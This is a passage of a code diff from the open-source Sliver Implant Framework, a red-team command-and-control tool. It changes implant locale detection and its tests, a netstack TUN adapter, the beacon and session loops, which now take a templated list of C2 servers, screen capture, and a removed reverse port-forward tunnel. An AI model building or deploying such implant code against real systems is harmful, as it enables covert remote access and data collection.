os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return an error if it cannot detect and parse a language tag", func() {
os.Setenv("LANG", "")
_, err := DetectLanguageTag()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectTerritory", func() {
Context("Returns encoded territory", func() {
It("should return the territory set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return an error if it cannot detect a territory", func() {
os.Setenv("LANG", "")
_, err := DetectTerritory()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
})
@@ -1,47 +0,0 @@
// +build windows
package jibberjabber
import (
"errors"
"unsafe"
"golang.org/x/sys/windows"
)
// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
const LOCALE_NAME_MAX_LENGTH uint32 = 85
func getWindowsLocaleFrom(sysCall string) (string, error) {
buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
dll, err := windows.LoadDLL("kernel32")
if err != nil {
return "", errors.New("could not find kernel32 dll: " + err.Error())
}
proc, err := dll.FindProc(sysCall)
if err != nil {
return "", err
}
r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
if r == 0 {
return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
}
return windows.UTF16ToString(buffer), nil
}
func getWindowsLocale() (string, error) {
locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
if err != nil {
locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
}
return locale, err
}
// DetectIETF detects and returns the IETF language tag of Windows.
func DetectIETF() (string, error) {
return getWindowsLocale()
}
@@ -1,63 +0,0 @@
// +build windows
package jibberjabber_test
import (
"regexp"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
const (
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
LANGUAGE_REGEXP = "^[a-z]{2}$"
TERRITORY_REGEXP = "^[A-Z]{2}$"
)
var _ = Describe("Windows", func() {
BeforeEach(func() {
locale, err := DetectIETF()
Ω(err).Should(BeNil())
Ω(locale).ShouldNot(BeNil())
Ω(locale).ShouldNot(Equal(""))
})
Describe("#DetectIETF", func() {
It("detects correct IETF locale", func() {
locale, _ := DetectIETF()
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguage", func() {
It("detects correct Language", func() {
language, _ := DetectLanguage()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectLanguageTag", func() {
It("detects correct Language Tag", func() {
result, _ := DetectLanguageTag()
base, _ := result.Base()
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
Ω(matched).Should(BeTrue())
region, _ := result.Region()
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
Ω(matched).Should(BeTrue())
})
})
Describe("#DetectTerritory", func() {
It("detects correct Territory", func() {
territory, _ := DetectTerritory()
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
Ω(matched).Should(BeTrue())
})
})
})
-35
View File
@@ -1,35 +0,0 @@
//go:build darwin || linux || windows
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
)
// GetLocale returns the default language set
func GetLocale() string {
userLocale, err := jibberjabber.DetectIETF()
if err != nil {
return ""
}
return userLocale
}
-30
View File
@@ -1,30 +0,0 @@
//go:build !darwin && !windows && !linux
package locale
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
-----------------------------------------------------------------------
Place holder so we don't get undefined functions in generic builds.
*/
// GetLocale returns the default language set
func GetLocale() string {
return ""
}
+71 -34
View File
@@ -6,7 +6,6 @@
package netstack
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
@@ -24,11 +23,10 @@ import (
"golang.zx2c4.com/wireguard/tun"
"golang.org/x/net/dns/dnsmessage"
"gvisor.dev/gvisor/pkg/bufferv2"
"gvisor.dev/gvisor/pkg/tcpip"
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
"gvisor.dev/gvisor/pkg/tcpip/buffer"
"gvisor.dev/gvisor/pkg/tcpip/header"
"gvisor.dev/gvisor/pkg/tcpip/link/channel"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -39,16 +37,69 @@ import (
)
type netTun struct {
ep *channel.Endpoint
stack *stack.Stack
dispatcher stack.NetworkDispatcher
events chan tun.Event
incomingPacket chan *bufferv2.View
incomingPacket chan buffer.VectorisedView
mtu int
dnsServers []netip.Addr
hasV4, hasV6 bool
}
type Net netTun
type (
endpoint netTun
Net netTun
)
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
e.dispatcher = dispatcher
}
func (e *endpoint) IsAttached() bool {
return e.dispatcher != nil
}
func (e *endpoint) MTU() uint32 {
mtu, err := (*netTun)(e).MTU()
if err != nil {
panic(err)
}
return uint32(mtu)
}
func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
return stack.CapabilityNone
}
func (*endpoint) MaxHeaderLength() uint16 {
return 0
}
func (*endpoint) LinkAddress() tcpip.LinkAddress {
return ""
}
func (*endpoint) Wait() {}
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
return nil
}
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
panic("not implemented")
}
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
panic("not implemented")
}
func (*endpoint) ARPHardwareType() header.ARPHardwareType {
return header.ARPHardwareNone
}
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
}
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
opts := stack.Options{
@@ -57,15 +108,13 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
HandleLocal: true,
}
dev := &netTun{
ep: channel.New(1024, uint32(mtu), ""),
stack: stack.New(opts),
events: make(chan tun.Event, 10),
incomingPacket: make(chan *bufferv2.View),
incomingPacket: make(chan buffer.VectorisedView),
dnsServers: dnsServers,
mtu: mtu,
}
dev.ep.AddNotify(dev)
tcpipErr := dev.stack.CreateNIC(1, dev.ep)
tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
if tcpipErr != nil {
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
}
@@ -118,7 +167,6 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
if !ok {
return 0, os.ErrClosed
}
return view.Read(buf[offset:])
}
@@ -128,29 +176,17 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
return 0, nil
}
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
switch packet[0] >> 4 {
case 4:
tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
case 6:
tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
}
return len(buf), nil
}
func (tun *netTun) WriteNotify() {
pkt := tun.ep.Read()
if pkt == nil {
return
}
view := pkt.ToView()
pkt.DecRef()
tun.incomingPacket <- view
}
func (tun *netTun) Flush() error {
return nil
}
@@ -161,9 +197,9 @@ func (tun *netTun) Close() error {
if tun.events != nil {
close(tun.events)
}
tun.ep.Close()
if tun.incomingPacket != nil {
close(tun.incomingPacket)
}
return nil
}
@@ -398,10 +434,11 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
return 0, fmt.Errorf("ping write: mismatched protocols")
}
buf := bytes.NewReader(p)
buf := buffer.NewViewFromBytes(p)
rdr := buf.Reader()
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
// won't block, no deadlines
n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
To: &rfa,
})
if tcpipErr != nil {
@@ -416,8 +453,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
}
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
pc.wq.EventRegister(&e)
e, notifyCh := waiter.NewChannelEntry(nil)
pc.wq.EventRegister(&e, waiter.EventIn)
defer pc.wq.EventUnregister(&e)
select {
@@ -451,7 +488,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(time.Until(t))
pc.deadline.Reset(t.Sub(time.Now()))
return nil
}
-2
View File
@@ -1,4 +1,3 @@
//go:build darwin
// +build darwin
package ps
@@ -91,7 +90,6 @@ func processes() ([]Process, error) {
pCommReader := bytes.NewBuffer(pComm)
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
-251
View File
@@ -1,251 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"encoding/binary"
"io"
"math/rand"
"net"
"strconv"
"sync"
"time"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Portfwds - Struct instance that holds all the portfwds
Portfwds = portfwds{
forwards: map[int]*Portfwd{},
mutex: &sync.RWMutex{},
}
portfwdID = 0
)
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
BindAddr string
RemoteAddr string
}
// Portfwd - Tracks portfwd<->tcpproxy
type Portfwd struct {
ID int
TCPProxy *tcpproxy.Proxy
ChannelProxy *ChannelProxy
}
// GetMetadata - Get metadata about the portfwd
func (p *Portfwd) GetMetadata() *PortfwdMeta {
return &PortfwdMeta{
ID: p.ID,
BindAddr: p.ChannelProxy.BindAddr,
RemoteAddr: p.ChannelProxy.RemoteAddr,
}
}
type portfwds struct {
forwards map[int]*Portfwd
mutex *sync.RWMutex
}
// Add - Add a TCP proxy instance
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
portfwd := &Portfwd{
ID: nextPortfwdID(),
TCPProxy: tcpProxy,
ChannelProxy: channelProxy,
}
f.forwards[portfwd.ID] = portfwd
return portfwd
}
// Remove - Remove a TCP proxy instance
func (f *portfwds) Remove(portfwdID int) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
if portfwd, ok := f.forwards[portfwdID]; ok {
portfwd.TCPProxy.Close()
delete(f.forwards, portfwdID)
return portfwd
}
return nil
}
// List - List all TCP proxy instances
func (f *portfwds) List() []*PortfwdMeta {
f.mutex.RLock()
defer f.mutex.RUnlock()
portForwards := []*PortfwdMeta{}
for _, portfwd := range f.forwards {
portForwards = append(portForwards, portfwd.GetMetadata())
}
return portForwards
}
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
// one ChannelProxy per port bind.
//
// Implements the Target interface from tcpproxy pkg
type ChannelProxy struct {
Conn *transports.Connection
//Session *clientpb.Session
BindAddr string
RemoteAddr string
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
// HandleConn - Handle a TCP connection
func (p *ChannelProxy) HandleConn(src net.Conn) {
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Handling new connection")
// {{end}}
ctx := context.Background()
var cancelContext context.CancelFunc
if p.DialTimeout >= 0 {
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
}
if conn, ok := src.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[rportfwd] Creating tcp tunnel")
// {{end}}
tId := NewTunnelID()
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
// {{end}}
tunnel := transports.NewTunnel(
tId,
src,
src,
)
p.Conn.AddTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := p.Conn.Tunnel(tunnel.ID)
if tunnel != nil {
p.Conn.RemoveTunnel(tunnel.ID)
}
src.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: p.Conn,
host: p.Host(),
port: p.Port(),
protocol: sliverpb.PortFwdProtoTCP,
tunnelID: tId,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
// HostPort - Returns the host and port of the TCP proxy
func (p *ChannelProxy) HostPort() (string, uint32) {
defaultPort := uint32(8080)
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse addr %s", p.RemoteAddr)
// {{end}}
return "", defaultPort
}
portNumber, err := strconv.Atoi(rawPort)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse number from %s", rawPort)
// {{end}}
return "", defaultPort
}
port := uint32(portNumber)
if port < 1 || 65535 < port {
// {{if .Config.Debug}}
log.Printf("Invalid port number %d", port)
// {{end}}
return "", defaultPort
}
return host, port
}
// Port - Returns the TCP port of the proxy
func (p *ChannelProxy) Port() uint32 {
_, port := p.HostPort()
return port
}
// Host - Returns the host (i.e., interface) of the TCP proxy
func (p *ChannelProxy) Host() string {
host, _ := p.HostPort()
return host
}
func (p *ChannelProxy) dialTimeout() time.Duration {
if p.DialTimeout > 0 {
return p.DialTimeout
}
return 30 * time.Second
}
func nextPortfwdID() int {
portfwdID++
return portfwdID
}
// NewTunnelID - New 64-bit identifier
func NewTunnelID() uint64 {
randBuf := make([]byte, 8)
rand.Read(randBuf)
return binary.LittleEndian.Uint64(randBuf)
}
-71
View File
@@ -1,71 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
host string
port uint32
protocol int
tunnelID uint64
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
createReverse := false
rportfwdInfo := &sliverpb.RPortfwd{}
if tw.tun.WriteSequence() == 0 {
createReverse = true
rportfwdInfo.Host = tw.host
rportfwdInfo.Port = tw.port
rportfwdInfo.Protocol = int32(tw.protocol)
rportfwdInfo.TunnelID = tw.tunnelID
}
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
CreateReverse: createReverse,
Rportfwd: rportfwdInfo,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+3 -5
View File
@@ -58,11 +58,9 @@ func DarwinCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
var buf bytes.Buffer
if err != nil {
+3 -5
View File
@@ -47,11 +47,9 @@ func LinuxCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
var buf bytes.Buffer
if err != nil {
+3 -5
View File
@@ -47,11 +47,9 @@ func WindowsCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
var buf bytes.Buffer
if err != nil {
-18
View File
@@ -1,23 +1,5 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+15 -15
View File
@@ -51,7 +51,6 @@ import (
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/locale"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -68,7 +67,14 @@ import (
)
var (
InstanceID string
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
connectionErrors = 0
)
@@ -196,7 +202,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(abort)
beacons := transports.StartBeaconLoop(c2Servers, abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -228,7 +234,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(abort)
connections := transports.StartConnectionLoop(c2Servers, abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -294,8 +300,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
time.Sleep(time.Second)
beacon.Close()
time.Sleep(time.Second)
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
@@ -347,7 +353,6 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{if .Config.Debug}}
log.Printf("[beacon] closing ...")
// {{end}}
time.Sleep(time.Second)
beacon.Close()
}()
// {{if .Config.Debug}}
@@ -475,7 +480,9 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -485,7 +492,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(abort)
connections := transports.StartConnectionLoop(openSession.C2S, abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
@@ -541,7 +548,6 @@ func sessionMainLoop(connection *transports.Connection) error {
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetSpecialHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -554,11 +560,6 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
@@ -683,6 +684,5 @@ func registerSliver() *sliverpb.Register {
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
Locale: locale.GetLocale(),
}
}
+2 -21
View File
@@ -1,31 +1,12 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
-475
View File
@@ -1,475 +0,0 @@
package tcpproxy
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Package tcpproxy lets users build TCP proxies, optionally making
// routing decisions based on HTTP/1 Host headers and the SNI hostname
// in TLS connections.
//
// Typical usage:
//
// var p tcpproxy.Proxy
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
// log.Fatal(p.Run())
//
// Calling Run (or Start) on a proxy also starts all the necessary
// listeners.
//
// For each accepted connection, the rules for that ipPort are
// matched, in order. If one matches (currently HTTP Host, SNI, or
// always), then the connection is handed to the target.
//
// The two predefined Target implementations are:
//
// 1) DialProxy, proxying to another address (use the To func to return a
// DialProxy value),
//
// 2) TargetListener, making the matched connection available via a
// net.Listener.Accept call.
//
// But Target is an interface, so you can also write your own.
//
// Note that tcpproxy does not do any TLS encryption or decryption. It
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
// header is unencrypted, for better or worse.
//
// This package makes no API stability promises. If you depend on it,
// vendor it.
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"log"
"net"
"time"
)
// Proxy is a proxy. Its zero value is a valid proxy that does
// nothing. Call methods to add routes before calling Start or Run.
//
// The order that routes are added in matters; each is matched in the order
// registered.
type Proxy struct {
configs map[string]*config // ip:port => config
lns []net.Listener
donec chan struct{} // closed before err
err error // any error from listening
// ListenFunc optionally specifies an alternate listen
// function. If nil, net.Dial is used.
// The provided net is always "tcp".
ListenFunc func(net, laddr string) (net.Listener, error)
}
// Matcher reports whether hostname matches the Matcher's criteria.
type Matcher func(ctx context.Context, hostname string) bool
// equals is a trivial Matcher that implements string equality.
func equals(want string) Matcher {
return func(_ context.Context, got string) bool {
return want == got
}
}
// config contains the proxying state for one listener.
type config struct {
routes []route
acmeTargets []Target // accumulates targets that should be probed for acme.
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
}
// A route matches a connection to a target.
type route interface {
// match examines the initial bytes of a connection, looking for a
// match. If a match is found, match returns a non-nil Target to
// which the stream should be proxied. match returns nil if the
// connection doesn't match.
//
// match must not consume bytes from the given bufio.Reader, it
// can only Peek.
//
// If an sni or host header was parsed successfully, that will be
// returned as the second parameter.
match(*bufio.Reader) (Target, string)
}
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
if p.ListenFunc != nil {
return p.ListenFunc
}
return net.Listen
}
func (p *Proxy) configFor(ipPort string) *config {
if p.configs == nil {
p.configs = make(map[string]*config)
}
if p.configs[ipPort] == nil {
p.configs[ipPort] = &config{}
}
return p.configs[ipPort]
}
func (p *Proxy) addRoute(ipPort string, r route) {
cfg := p.configFor(ipPort)
cfg.routes = append(cfg.routes, r)
}
// AddRoute appends an always-matching route to the ipPort listener,
// directing any connection to dest.
//
// This is generally used as either the only rule (for simple TCP
// proxies), or as the final fallback rule for an ipPort.
//
// The ipPort is any valid net.Listen TCP address.
func (p *Proxy) AddRoute(ipPort string, dest Target) {
p.addRoute(ipPort, fixedTarget{dest})
}
type fixedTarget struct {
t Target
}
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
// Run is calls Start, and then Wait.
//
// It blocks until there's an error. The return value is always
// non-nil.
func (p *Proxy) Run() error {
if err := p.Start(); err != nil {
return err
}
return p.Wait()
}
// Wait waits for the Proxy to finish running. Currently this can only
// happen if a Listener is closed, or Close is called on the proxy.
//
// It is only valid to call Wait after a successful call to Start.
func (p *Proxy) Wait() error {
<-p.donec
return p.err
}
// Close closes all the proxy's self-opened listeners.
func (p *Proxy) Close() error {
for _, c := range p.lns {
c.Close()
}
return nil
}
// Start creates a TCP listener for each unique ipPort from the
// previously created routes and starts the proxy. It returns any
// error from starting listeners.
//
// If it returns a non-nil error, any successfully opened listeners
// are closed.
func (p *Proxy) Start() error {
if p.donec != nil {
return errors.New("already started")
}
p.donec = make(chan struct{})
errc := make(chan error, len(p.configs))
p.lns = make([]net.Listener, 0, len(p.configs))
for ipPort, config := range p.configs {
ln, err := p.netListen()("tcp", ipPort)
if err != nil {
p.Close()
return err
}
p.lns = append(p.lns, ln)
go p.serveListener(errc, ln, config.routes)
}
go p.awaitFirstError(errc)
return nil
}
func (p *Proxy) awaitFirstError(errc <-chan error) {
p.err = <-errc
close(p.donec)
}
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
for {
c, err := ln.Accept()
if err != nil {
ret <- err
return
}
go p.serveConn(c, routes)
}
}
